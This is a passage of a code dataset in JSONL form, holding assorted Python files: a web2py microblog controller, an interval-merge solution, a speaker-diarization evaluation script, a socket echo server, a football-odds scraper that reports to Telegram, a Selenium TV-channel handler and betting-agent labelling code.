{'GET':{},'POST':{},'PUT':{},'DELETE':{}},\n        }\n    return Collection(db).process(request,response,rules)\n\ndef news():\n    \"\"\"\n    fetch news from rss\n    \"\"\"\n    from datetime import datetime\n    currentDay = datetime.now().day\n    currentMonth = datetime.now().month\n    currentYear = datetime.now().year\n    currentDate = str(currentDay) + '_' + str(currentMonth) + '_' + str(currentYear)\n    sel=[db.date_string['date_string']]\n    row=db(db.date_string.id == 24).select(*sel).first() # note the *\n    storedDate = row.date_string\n    if storedDate != currentDate:\n        db(db.date_string.id == 24).update(date_string=currentDate)\n        db.commit()\n        feedparser = local_import('feedparser')\n        from BeautifulSoup import BeautifulSoup\n        d = feedparser.parse('http://news.google.com/news?pz=1&cf=all&ned=in&hl=en&output=rss')\n        for field in d['entries']:\n            soup = BeautifulSoup(field['description'])\n            tags=soup.findAll('img')\n            image_link = tags[0]['src']\n            link = field['link'].strip().split(';')[-1]\n            title = field['title']\n            db.news.insert(title=title,link=link,image_link=image_link)\n        db.commit()\n    sel=[db.news['id'], db.news['title'], db.news['link'], db.news['image_link']]\n    rows = db(db.news.id > 0).select(*sel, orderby=~db.news.id, limitby=(0,10))\n\n    row_list = rows.as_list()\n    return row_list\n\ndef feed():\n    \"\"\"\n    shows posts on a news\n    \"\"\"\n    from datetime import datetime\n    news_id = request.vars.id\n    rows = db((db.posts.news_id == news_id) & (db.auth_user.id == db.posts.user_id)).select(orderby=~(db.posts.time_stamp + db.posts.votes))\n    row_list = rows.as_list()\n    return dict(news_vars = request.vars, row_list = row_list)\n\ndef blog():\n    \"\"\"\n    Writes Blog Post\n    \"\"\"\n    if type(request.vars.blog) is list:\n        body = request.vars.blog[-1]\n    else:\n        body = request.vars.blog\n    db.posts.insert(user_id=auth.user.id, body=body, news_id=request.vars.id)\n    redirect(URL('default','feed',vars=dict(request.vars)))\n\ndef comments():\n    db.comments.time_stamp.writable = False\n    db.comments.time_stamp.readable = False\n    db.comments.user_id.writable = False\n    db.comments.user_id.readable = False\n    db.comments.upvotes.writable = False\n    db.comments.upvotes.readable = False\n    db.comments.downvotes.writable = False\n    db.comments.downvotes.readable = False\n    db.comments.post_id.writable = False\n    db.comments.post_id.readable = False\n    db.comments.post_id.default = request.vars.post_id\n    db.comments.user_id.default = auth.user.id\n    \n    form = SQLFORM(db.comments).process()\n    response.flash = None\n    session.flash = None\n    form.element('textarea[name=body]')['_style'] = 'width:250px;height:50px;'\n    return dict(form=form,\n                comments=db((db.comments.post_id == request.vars.post_id) & (db.comments.user_id == db.auth_user.id)).select())\n\ndef test():\n    return dict()\n\n\ndef vote():\n    if request.env.request_method!='POST': raise HTTP(400)\n    post_id, mode = request.args(0), request.args(1)\n    post = db.posts(id=post_id)\n    vote = db.vote(posted_by=auth.user.id,post_id=post_id)\n    votes = post.votes\n    value = (mode=='plus') and +1 or -1\n    if vote and value*vote.up_down==1:\n        message = 'you voted already'\n    else:\n        if vote:\n            votes += value - vote.up_down\n            vote.update_record(up_down=value)\n        else:\n            votes += value\n            db.vote.insert(up_down=value,posted_by=auth.user.id,posted_on=request.now,post_id=post_id)\n        post.update_record(votes=votes)\n        message = 'vote recorded'\n    return \"$('#votes_\" + str(post_id) + \"').html('%s');\" % (votes)\n","repo_name":"tryingcoding/microblogging","sub_path":"web2py/applications/Assignment/controllers/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":6445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22469508435","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr  9 09:49:13 2018\n\n@author: lenovo\n\"\"\"\n\n\"\"\"\nDefinition of Interval.\nclass Interval(object):\n    def __init__(self, start, end):\n        self.start = start\n        self.end = end\n\"\"\"\n\nclass Solution:\n    \"\"\"\n    @param: intervals: Sorted interval list.\n    @param: newInterval: new interval.\n    @return: A new interval list.\n    \"\"\"\n    def insert(self, intervals, newInterval):\n        results = []  \n        insertindex = 0  \n        for interval in intervals:  \n            if interval.end < newInterval.start:  \n                results.append(interval)  \n                insertindex += 1  \n            elif interval.start > newInterval.end:  \n                results.append(interval)  \n            else:  \n                newInterval.start = min(interval.start, newInterval.start)  \n                newInterval.end = max(interval.end, newInterval.end)  \n        results.insert(insertindex, newInterval)  \n        return results  \n            ","repo_name":"MUSK1881/lintcode-by-python","sub_path":"简单/30. 插入区间.py","file_name":"30. 插入区间.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"6014948084","text":"from flask_script import Manager\nfrom livereload import Server\nfrom apps import create_app,db\nfrom flask_migrate import Migrate,MigrateCommand\n\napp = create_app()\nmanager = Manager(app)\nmigrate = Migrate(app,db)\nmanager.add_command('db',MigrateCommand)\n\n\n# 监测文件变动并更新页面\n@manager.command\ndef dev():\n    live_server=Server(app.wsgi_app)\n    live_server.watch('**/*.*')\n    live_server.serve(open_url=True)\n\n@manager.command\ndef test():\n    pass\n\n\n@manager.command\ndef deploy():\n    from apps.models import Role\n    #upgrade()\n    Role.seed()\n\n\nif __name__ == '__main__':\n    manager.run()\n\n#app.run()","repo_name":"TomasWang28/flask_second_project","sub_path":"manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28586178474","text":"\"\"\"\nRun Diarization using the CNN or CNN-RNN only for Speaker Classification Followed by\nGaussian Mixture Clustering for Speaker Labelling.\n\"\"\"\n\nimport os\n#import sys\nimport numpy as np\nfrom keras import backend as K\nfrom keras.models import Model\nimport GetSuperframesInfo\nimport LoadDataset\nimport Clustering\n\nimport CnnModel_2\nimport R_CnnModel_4\n\n\"\"\"\nLoad the test data for evaluating the diaraization.  This is a set of recordings, where each recording \nhas already been converted to superframe features.  Each directory holds one audio recording of a two-person \nconversation converted to a time ordered sequence of super frames.  Each frame is named <superframe index>.<pin>\npin = p.i.n. =  personal identification number.\n\nFor example:\n\nRecordingData \n          /sw_45001               <- the recording dir\n               /0001.6300         <- 1st superframe binary file.  Here speaker 6300 is speaking.\n               /0002.6300         <- 2nd superframe and 6300 is still speaking.\n\nHere 0001.6300 is name of the first superframe in the recording.  The speaker PIN number is 6300.\nFor the RNN, we convert the speaker PINs to just speaker 1, speaker2,... We just care about speaker changes.\nUsually there are only 2 speakers per recording.\nWe reserve 0 for the start of the sequence\nSpeaker i is the i'th speaker\nSpeaker 9999 is reserved for a double-talk superframe where both speakers are talking at one time.\n\nWe need an array of superframes and an array of labels.  We have one label for each superframe in the sequence.\n\n\"\"\"\n\n\"\"\"\nUse the CNN to classify the each superframe as either new speaker or same speaker.\nTo do this, first calculate the speaker embeddings for each superframe in the recording.\nThen apply normalization over all speaker embeddings.  \n\nNext for all the features in one recording:\n - run GaussianMixture clustering to estimate the number of distinct classes and model the distribution of features.\n - use the GM model to predict which cluster each feature belong so.  The cluster index is the assigned speaker label.\n\nTo evaluate the accuracy:  \n    For each superframe compare the assigned speaker with the true speaker for the superframe.\n    In the case of double-talk features, any assignment is marked as correct. \n\n\"\"\"\n\n\n# Parent directory containing all the recording.  There is one recording per subdirectory.\n#all_files_path = 'RNNTestData-Trim-Small'\n# all_files_path = 'C:\\Diarization\\RNNTestData-Trim'\n# all_files_path = 'C:\\Diarization\\RecordingDataTest-Uneven'\n# all_files_path = 'C:\\Diarization\\SWBPhase3DataTest'\n#all_files_path = 'C:/Diarization/0.5-sec-superframes/SWB2Phase3TestData-0.5secCeps'\n#all_files_path = 'C:/Diarization/0.5-sec-superframes/SWB2Phase3TestData-0.5secCeps-small'\nall_files_path = 'TestData-0.5sec/SWB2Phase3TestData-0.5secCeps-small'\n\n# Get a list of the recording directories.\nrecordings = [name for name in os.listdir(all_files_path)]\nrecordingsDirs = [os.path.join(all_files_path, fullPath) for fullPath in recordings]\nprint(recordingsDirs)\n\ntrueSpeakerCount = 2\nmaxSpeakersClasses = 4  # Max number of speaker classes allowed when clustering\n\nn_frames = 16  # frames per superframe\ntensor_shape = (1, n_frames, 32, 1)\ndropout_rate = 0  # not used here\nnumber_of_targets = 260  # total number of speakers\n\n\"\"\"\n# Best CNN only model\nmodel = CnnModel_2.create_model(number_of_targets, tensor_shape, dropout_rate, n_frames)\npath_to_weights = 'D:/MLND/GitRepo/diarize/Diarize/saved_models_halfSec/CnnModel/cnn-weights.Best.data-1000.hdf5'\nmodel.load_weights(path_to_weights)\nmodel.summary()\n\"\"\"\n\n\"\"\"\n# Best R-CNN Model\nmodel = R_CnnModel_4.create_model(number_of_targets, tensor_shape, dropout_rate)\npath_to_weights = 'saved_models/r-cnn-test4-TEST-history.weights.best.data-1000.hdf5'\nmodel.load_weights(path_to_weights)\nmodel.summary()\n\"\"\"\n\n\"\"\"\n# Best CNN only model -- Use output of Flatten layer instead of 260 speaker scores.\nfullmodel = CnnModel_2.create_model(number_of_targets, tensor_shape, dropout_rate, n_frames)\npath_to_weights = 'saved_models_halfSec/CnnModel/cnn-weights.Best.data-1000.hdf5'\nfullmodel.load_weights(path_to_weights)\nlayer_name = 'flatten_layer'\nmodel = Model(inputs=fullmodel.input, outputs=fullmodel.get_layer(layer_name).output)\nmodel.summary()\n\"\"\"\n\n# Best CNN only model -- Output 260 speaker scores.\nmodel = CnnModel_2.create_model(number_of_targets, tensor_shape, dropout_rate, n_frames)\npath_to_weights = 'saved_models_halfSec/CnnModel/cnn-weights.Best.data-1000.hdf5'\nmodel.load_weights(path_to_weights)\nmodel.summary()\n\n\n# Accumulators for count of non-double superframes classified as speaker 1 or 2...\n# Accumulate of number of diarization superframe labels that are wrong.\ntotalNonDoubleTalkSuperframesCount = 0\ntotalSpeakerLabelErrors = 0\n\ntotalRecordingsCount = len(recordingsDirs)\nrecordingCounter = 0\n\nfor recordingDir in recordingsDirs:\n    recordingCounter += 1\n    print(\"Processing recording %d of %d\" % (recordingCounter, totalRecordingsCount))\n    print('Recording dir: %s' % recordingDir)\n\n    # Get the superframe file names and corresponding speaker labels for this recording.\n    superframeFiles, trueSpeakerLabels = GetSuperframesInfo.get_super_frame_info(recordingDir)\n\n    # Replace 9999 with 9\n    trueSpeakerLabels = [x if x != 9999 else 9 for x in trueSpeakerLabels]\n    doubleTalkLabel = 9\n\n\n    # For each superframe file:\n    #    read the superframe\n    #    run CNN to get the softmax vector (i.e the \"activations\" or \"Speaker embeddings)\n    #    add this vector to the features[] array of speaker embeddings\n    featuresList = []\n    for superframeFile in superframeFiles:\n        tensor = LoadDataset.path_to_tensor(recordingDir + '/' + superframeFile).astype('float32')\n        # Get embedded speakers feature vector for ths superframe.\n        # This is just the last activation layer of the CNN: the softmax predictions.\n        emSpeakers = model.predict(tensor)[0]\n        featuresList.append(emSpeakers)\n        # print(\"max emSpeaker index %d  \" % np.argmax(emSpeakers), \"score  %f \" % emSpeakers.max())\n\n    # Below, we refer to the embeddedSpeakers vector obtained using the CNN simply as the features.\n    # \"features\" is a 2-D array with the i'th row containing embedded speakers vector for the i'th superframe.\n    #  superframe 0  c0, c1, c2, ...., c259\n    #  superframe 1  c0, c1, c2, ...., c259\n    #  superframe 2  c0, c1, c2, ...., c259\n    #      .\n    #      .\n    #      .\n    #  superframe(N-1) c0, c1, c2, ...., c259\n    #\n    features = np.array(featuresList)\n    # print(features.shape)\n    # print(features)\n\n    if len(features) < 4:\n        print(\"Less than minimum number of features generated. Skipping this recording.\")\n    else:\n        # Test: what does K-means clustering give for distortion?\n        # It turns out the fix to 2 or 3 speakers have gives very high distortion > 10.0\n        # Cluster the features.  Generates maxSpeakers centroids\n        # centroids, distortion = Clustering.runKMeansClustering(features, maxSpeakersClasses)\n\n        # Use Gaussian Mixture clustering.  Determine the number of classes by increasing the number of GMM\n        # components starting at 2 and stopping when the silouette distortion increases.\n        clusteredFeatures, distortion, clustersCount = Clustering.runGaussianMixtureClustering(features, maxSpeakersClasses)\n\n        print(\"Detected Clusters: %d  Distortion: %f\" % (clustersCount, distortion))\n\n        clusteredFeatures += 1  # make the labels start at 1.\n        speakerLabels = clusteredFeatures.tolist()\n\n        print(\"Speaker Labels: %d\" % len(speakerLabels))\n        print(speakerLabels)\n        print(trueSpeakerLabels)\n\n        \"\"\"\n        Compare the detected speaker labels with the true speaker labels:\n            For each true speaker:\n                Iterate over superframes labeled as the true speaker.\n                Collect a dictionary of (detectedSpeaker, count) pairs for the superframes of that speaker.\n                Ignore double-talk superframes that were labelled 9999 for double talk. \n\n            For each true speaker take the detected speaker with the largest count.\n            Set this as the count of correct detections for this true speaker.\n\n            Repeat for each true speaker.  Because we are only taking superframes labeled with the current true speaker,\n            we are not double-counting any detections. \n\n            The accuracy is the sum of correct detections / total number of non-double talk superframes.\n            Error = 1 - accuracy.\n        \"\"\"\n\n        correctSpeakerDetections = {}\n\n        for speaker in range(1, trueSpeakerCount + 1):\n            # Collect results for the current speaker \"speaker\"\n            detections = {}\n            # Iterate from 0 to speaker labels count-1 inclusive.\n            for i in range(0, len(speakerLabels)):\n                trueLabel = trueSpeakerLabels[i]\n\n                # Collect results for this speaker (e.g. 1 or 2 ...) only\n                if trueLabel == speaker:\n                    # Count only if not doubleTalk.\n                    if trueLabel != doubleTalkLabel:\n                        label = speakerLabels[i]\n                        if label in detections:\n                            detections[label] += 1\n                        else:\n                            detections[label] = 1\n\n            # Get largest count and use this as the detections for this speaker.\n            if len(detections) > 0:\n                highestCountLabel = max(detections, key=detections.get)\n                detCount = detections[highestCountLabel]\n                correctSpeakerDetections[speaker] = detCount\n\n        nonDoubleTalkLabelsCount = sum(label != doubleTalkLabel for label in trueSpeakerLabels)\n        correctLabelsCount = sum(correctSpeakerDetections.values())\n\n        if nonDoubleTalkLabelsCount > 0:\n            acc = float(correctLabelsCount) / float(nonDoubleTalkLabelsCount)\n\n            # print(\"Accuracy = %f %%\" % 100.0 * acc)\n            error = (1.0 - acc) * 100.0\n            print(\"Error    = %f %%\" % error)\n\n            totalNonDoubleTalkSuperframesCount += nonDoubleTalkLabelsCount\n            totalSpeakerLabelErrors += nonDoubleTalkLabelsCount - correctLabelsCount\n        else:\n            print(\"Count of non-double talk superframes is 0.  Skipping.\")\n\n        print(\"----------------------------------\")\n\noverAllError = totalSpeakerLabelErrors / float(totalNonDoubleTalkSuperframesCount) * 100.0\nprint(\"Total number recordings processed       : %d\" % len(recordingsDirs))\nprint(\"Total number of superframes diarized    : %d\" % totalNonDoubleTalkSuperframesCount)\nprint(\"Total number of superframes label errors: %d\" % totalSpeakerLabelErrors)\nprint(\"Total overall diarization error         : %f  %%\" % overAllError)\n","repo_name":"BFrancisA/Diarize","sub_path":"Diarize-Model-Clustering.py","file_name":"Diarize-Model-Clustering.py","file_ext":"py","file_size_in_byte":10799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39885216905","text":"import socket\nserver=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nserver.getsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\nhostname=socket.gethostname()\nserver.bind((hostname,8080))\nserver.listen(5)\nwhile True:\n    client,addr=server.accept()\n    while True:\n        res=client.recv(1024)\n        if not res:break\n        print(res)\n        client.send(res.upper())\n\nclient.close()\nserver.close()\n","repo_name":"warmsheep/Python-Note","sub_path":"02-Python基础/99-听课笔记/01-听课笔记/Python笔记/第7章 socket网络编程/7.1.2 简单C-S+循环/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"10778499529","text":"import requests\nimport re\nfrom cfg.config import TOKEN\n\n\ndef get_total(game_result):\n    yellow_card = {\"L\": game_result[\"L\"], \"01\": game_result[\"O1\"], \"02\": game_result[\"O2\"], \"S\": game_result[\"S\"], \"TOTAL\": []}\n\n    # ТОТАЛЫ\n    try:\n        for idx, all_s in enumerate(game_result[\"GE\"]):\n            if all_s[\"E\"][0][0][\"T\"] == 9:\n                for coef_all in all_s[\"E\"]:\n                    for coef in coef_all:\n                        yellow_card[\"TOTAL\"] += [coef]\n\n        return yellow_card\n\n    except Exception as ex:\n        print(ex)\n\n\ndef get_url_match(game_result, champs, game_id):\n    champs_name = game_result[\"LE\"]\n    champs_name = re.sub(r'[.,é()+]', '', champs_name)\n    champs_name = re.sub(r'\\s', '-', champs_name)\n\n    command_name_1 = game_result[\"O1E\"]\n    command_name_1 = re.sub(r'[.,()+]', '', command_name_1)\n    command_name_1 = re.sub(r'\\s', '-', command_name_1)\n\n    command_name_2 = game_result[\"O2E\"]\n    command_name_2 = re.sub(r'[.,()+]', '', command_name_2)\n    command_name_2 = re.sub(r'\\s', '-', command_name_2)\n\n    url = \"https://1xstavka.ru/live/football/\" + f\"{champs}\" + f\"-{champs_name}/\" + f\"{game_id}\" + f\"-{command_name_1}-{command_name_2}\"\n    return url\n\n\ndef get_game(result, message, what):\n    text = f\"Информация о Live матчах\\n{what}\\n\\n\"\n    idx = 0\n    for game in result[\"Value\"]:\n        game_id = game[\"I\"]\n        champs = game[\"LI\"]\n        params = (\n            (\"id\", game_id),\n            (\"lng\", \"ru\"),\n            (\"cfview\", \"0\"),\n            (\"isSubGames\", \"true\"),\n            (\"GroupEvents\", \"true\"),\n            (\"allEventsGroupSubGames\", \"true\"),\n            (\"countevents\", \"250\"),\n            (\"partner\", \"51\"),\n            (\"grMode\", \"2\"),\n            (\"marketType\", \"1\"),\n            (\"isNewBuilder\", \"true\"),\n        )\n        response = requests.get(\"https://1xstavka.ru/LiveFeed/GetGameZip\", params=params).json()\n\n        try:\n            try:\n                try:\n                    score_match = f'{response[\"Value\"][\"SC\"][\"FS\"][\"S1\"]}' + \":\" + f'{response[\"Value\"][\"SC\"][\"FS\"][\"S2\"]}'\n                except:\n                    score_match = '0' + \":\" + f'{response[\"Value\"][\"SC\"][\"FS\"][\"S2\"]}'\n            except:\n                score_match = f'{response[\"Value\"][\"SC\"][\"FS\"][\"S1\"]}' + \":\" + '0'\n        except:\n            score_match = \"0:0\"\n\n        if what == \"Тотал жёлтых\":\n            try:\n                for yellow_c in response[\"Value\"][\"SG\"]:\n                    try:\n                        if yellow_c[\"TG\"] == \"Желтые карточки\":\n                            try:\n                                yellow_c[\"PN\"]\n                            except:\n                                game_id_2 = yellow_c[\"I\"]\n                                params = (\n                                    (\"id\", game_id_2),\n\n                                    (\"lng\", \"ru\"),\n                                    (\"cfview\", \"0\"),\n                                    (\"isSubGames\", \"true\"),\n                                    (\"GroupEvents\", \"true\"),\n                                    (\"allEventsGroupSubGames\", \"true\"),\n                                    (\"countevents\", \"250\"),\n                                    (\"partner\", \"51\"),\n                                    (\"grMode\", \"2\"),\n                                    (\"marketType\", \"1\"),\n                                    (\"isNewBuilder\", \"true\"),\n                                )\n                                response = requests.get(\"https://1xstavka.ru/LiveFeed/GetGameZip\", params=params).json()\n                                try:\n                                    try:\n                                        try:\n                                            score_match = f'{response[\"Value\"][\"SC\"][\"FS\"][\"S1\"]}' + \":\" + f'{response[\"Value\"][\"SC\"][\"FS\"][\"S2\"]}'\n                                        except:\n                                            score_match = '0' + \":\" + f'{response[\"Value\"][\"SC\"][\"FS\"][\"S2\"]}'\n                                    except:\n                                        score_match = f'{response[\"Value\"][\"SC\"][\"FS\"][\"S1\"]}' + \":\" + '0'\n                                except:\n                                    score_match = \"0:0\"\n\n                                url = get_url_match(response[\"Value\"], champs, game_id_2)\n                                total_all = get_total(response[\"Value\"])\n                                count_total = int(len(total_all[\"TOTAL\"]) / 2)\n                                i_koef = count_total\n\n                                i = 0\n                                total_match = int(score_match[0]) + int(score_match[-1])\n                                if int(total_match) == int(message.text):\n                                    text += f\"{idx + 1}. {url}\\n\\n  Тотал жёлтых: {total_match}\\n  Счёт жёлт карт: {score_match}\\n  Команды: {total_all['01']} : {total_all['02']}\\n\\n  Коэфы на тоталы\\n\"\n                                    while i < count_total:\n                                        text += f'    {total_all[\"TOTAL\"][int(i)][\"P\"]} Б/М:   {total_all[\"TOTAL\"][i][\"C\"]} / {total_all[\"TOTAL\"][i_koef][\"C\"]}\\n'\n\n                                        i += 1\n                                        i_koef += 1\n                                    text += f\"\\n\" + \"➖\" * 10 + \"\\n\\n\"\n                    except:\n                        ...\n            except:\n                ...\n\n        else:\n            url = get_url_match(response[\"Value\"], champs, game_id)\n            total_all = get_total(response[\"Value\"])\n            count_total = int(len(total_all[\"TOTAL\"]) / 2)\n            i_koef = count_total\n\n            i = 0\n            total_match = int(score_match[0]) + int(score_match[-1])\n            if int(total_match) == int(message.text):\n                text += f\"{idx + 1}. {url}\\n\\n  Счёт: {score_match}\\n  Команды: {total_all['01']} : {total_all['02']}\\n\\n  Коэфы на тоталы\\n\"\n                while i < count_total:\n                    text += f'    {total_all[\"TOTAL\"][int(i)][\"P\"]} Б/М:   {total_all[\"TOTAL\"][i][\"C\"]} / {total_all[\"TOTAL\"][i_koef][\"C\"]}\\n'\n                    i += 1\n                    i_koef += 1\n                text += f\"\\n\" + \"➖\" * 10 + \"\\n\\n\"\n\n        if idx == 9:\n            requests.post(f\"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={message.from_user.id}&text={text}\")\n            text = f\"Информация о Live матчах\\n{what}\\n\\n\"\n            idx = 0\n        idx += 1\n    requests.post(f\"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={message.from_user.id}&text={text}\")\n\n\nasync def start_pars(message, count, what):\n    params = (\n        (\"sports\", \"1\"),\n        (\"count\", count),\n        (\"antisports\", \"188\"),\n        (\"mode\", \"4\"),\n        (\"country\", \"1\"),\n        (\"partner\", \"51\"),\n        (\"getEmpty\", \"true\"),\n\n        (\"noFilterBlockEvent\", \"true\")\n    )\n\n    response = requests.get(\"https://1xstavka.ru/LiveFeed/Get1x2_VZip\", params=params).json()\n    get_game(response, message, what)\n","repo_name":"Shtark1/1Xstavka-Parser","sub_path":"Parser/MainParser.py","file_name":"MainParser.py","file_ext":"py","file_size_in_byte":7139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23481282089","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution(object):\n    def levelOrderBottom(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: List[List[int]]\n        \"\"\"\n        if not root:\n            return []\n        queue = [(root, 0)]\n        res = [[]]\n        while len(queue) > 0:\n            temp = queue.pop(0)\n            p = temp[0]\n            level = temp[1]\n            res[len(res) - 1] += [p.val]\n            if p.left:\n                queue += [(p.left, level + 1)]\n            if p.right:\n                queue += [(p.right, level + 1)]\n            if len(queue) > 0 and level != queue[0][1]:\n                res += [[]]\n        return res[::-1]\n","repo_name":"ynyeh0221/LeetCode","sub_path":"107. Binary Tree Level Order Traversal II.py","file_name":"107. Binary Tree Level Order Traversal II.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"31282230886","text":"# /bin/python3\n\nfrom selenium import webdriver\nfrom tv.atresplayerTV import atresplayerTV\nfrom tv.miteleTV import miteleTV\nfrom tv.rtveTV import rtveTV\nimport configparser\nimport requests\nimport json\nimport os\n\nCONFFILE = \"/etc/productConf/cg.conf\"\nCHANNELS_FILE = \"/etc/productConf/channels.json\"\nif \"dev\" in os.path.abspath(os.getcwd()):\n    CONFFILE = \"/home/afercin/dev/CrossGameRPI/crossGameUtils\" + CONFFILE\n    CHANNELS_FILE = \"/home/afercin/dev/CrossGameRPI/crossGameUtils\" + CHANNELS_FILE\n\n\nclass tvHandler:\n    def __init__(self):\n        self.config = configparser.ConfigParser()\n        self.config.read(CONFFILE)\n\n        self.updateChannels()\n        self.driver = None\n        self.currentChannel = 0\n\n    def getDriver(self):\n        chrome_options = webdriver.ChromeOptions()\n        for option in self.config[\"TV\"][\"chromeOptions\"].split(\";\"):\n            if option:\n                chrome_options.add_argument(option)\n        chrome_options.add_experimental_option(\n            \"excludeSwitches\", ['enable-automation'])\n        return webdriver.Chrome(chrome_options=chrome_options)\n\n    def updateChannels(self):\n        request = requests.get(self.config[\"TV\"][\"channelList\"]).json()\n        with open(CHANNELS_FILE) as f:\n            localList = json.load(f)\n        self.channels = localList[\"channels\"]\n\n        if request[\"updated\"] <= localList[\"updated\"]:\n            return\n\n        for ambit in request[\"countries\"][0][\"ambits\"]:\n            for ambitChannel in ambit['channels']:\n                for channel in localList[\"channels\"]:\n                    if channel[\"name\"] == ambitChannel[\"name\"]:\n                        channel[\"url\"] = ambitChannel[\"web\"]\n                        channel[\"logo\"] = ambitChannel[\"logo\"]\n                        break\n\n        localList[\"updated\"] = request[\"updated\"]\n        with open(CHANNELS_FILE, 'w') as f:\n            json.dump(localList, f)\n\n    def close(self):\n        value = True\n        try:\n            self.driver.close()\n            self.driver =  None\n            os.remove(self.config['CONTROL']['tv'])\n        except:\n            value = False\n        return value\n\n    def channelDown(self):\n        self.currentChannel -= 1\n        if self.currentChannel < 1:\n            self.currentChannel = len(self.channels)\n        return self.setChannel(self.currentChannel)\n\n    def channelUp(self):\n        self.currentChannel += 1\n        if self.currentChannel > len(self.channels):\n            self.currentChannel = 1\n        return self.setChannel(self.currentChannel)\n\n    def setChannel(self, number):\n        if number > len(self.channels):\n            return False\n\n        if self.driver == None:\n            os.system(f\"touch {self.config['CONTROL']['tv']}\")\n            self.driver = self.getDriver()\n            self.atresplayer = atresplayerTV(self.driver)\n            self.mitele = miteleTV(self.driver)\n            self.rtve = rtveTV(self.driver)\n\n        self.currentChannel = number\n        url = self.channels[number-1][\"url\"]\n\n        if \"atresplayer\" in url:\n            self.atresplayer.setChannel(url)\n        elif \"mitele\" in url:\n            self.mitele.setChannel(url)\n        elif \"rtve\" in url:\n            self.rtve.setChannel(url)\n        else:\n            self.driver.get(url)\n            \n        return True\n","repo_name":"afercin/CrossGameRPI","sub_path":"utils/source/tvHandler.py","file_name":"tvHandler.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5170651144","text":"# ==============================================================================\n# File: label_agents.py\n# Project: allison\n# File Created: Sunday, 10th April 2022 2:33:04 pm\n# Author: Dillon Koch\n# -----\n# Last Modified: Sunday, 10th April 2022 2:33:04 pm\n# Modified By: Dillon Koch\n# -----\n#\n# -----\n# labeling the agents' bets in /Data/Agents\n# inheriting similar code from /Data_Cleaning/label_predictions.py\n# ==============================================================================\n\n\nimport sys\nfrom os.path import abspath, dirname\n\nimport pandas as pd\nfrom tqdm import tqdm\n\nROOT_PATH = dirname(dirname(abspath(__file__)))\nif ROOT_PATH not in sys.path:\n    sys.path.append(ROOT_PATH)\n\nfrom Data_Cleaning.label_predictions import Label_Predictions\n\n\nclass Label_Agents(Label_Predictions):\n    def __init__(self, league):\n        super(Label_Agents, self).__init__(league)\n        self.agents = ['Flat', 'Dynamic']\n\n    def bet_profit(self, wager, to_win, outcome):  # Top Level\n        \"\"\"\n        calculating profit based on wager/to_win and outcome\n        \"\"\"\n        if outcome == \"Push\":\n            return 0\n        elif outcome is None:\n            return \"Not Labeled\"\n        elif outcome:\n            return to_win\n        else:\n            return -wager\n\n    def run_one(self, agent):  # Run\n        agent_df = pd.read_csv(ROOT_PATH + f\"/Data/Agents/{self.league}/{agent}.csv\")\n        espn_df = pd.read_csv(self.espn_df_path)\n        for i, row in tqdm(agent_df.iterrows()):\n            if row['Outcome'] not in ['Win', 'Loss', 'Push']:\n                home = row['Home']\n                away = row['Away']\n                date = row['Date']\n                bet_type = row['Bet_Type']\n                bet_value = row['Bet_Value']\n                prediction = row['Prediction']\n                outcome = self.bet_outcome(home, away, date, bet_type, bet_value, prediction, espn_df)\n                row[\"Outcome\"] = outcome if isinstance(outcome, str) else None if outcome is None else \"Win\" if outcome else \"Loss\"\n                profit = self.bet_profit(row['Wager'], row['To_Win'], outcome)\n                row['Profit'] = profit\n                agent_df.iloc[i] = row\n        agent_df['Outcome'].fillna('Not Labeled', inplace=True)\n        agent_df.to_csv(ROOT_PATH + f\"/Data/Agents/{self.league}/{agent}.csv\", index=False)\n\n    def run_all(self):  # Run\n        for agent in self.agents:\n            self.run_one(agent)\n\n\nif __name__ == '__main__':\n    league = \"NBA\"\n    x = Label_Agents(league)\n    self = x\n    x.run_all()\n","repo_name":"DillonKoch/Sports_Betting","sub_path":"Data_Cleaning/label_agents.py","file_name":"label_agents.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
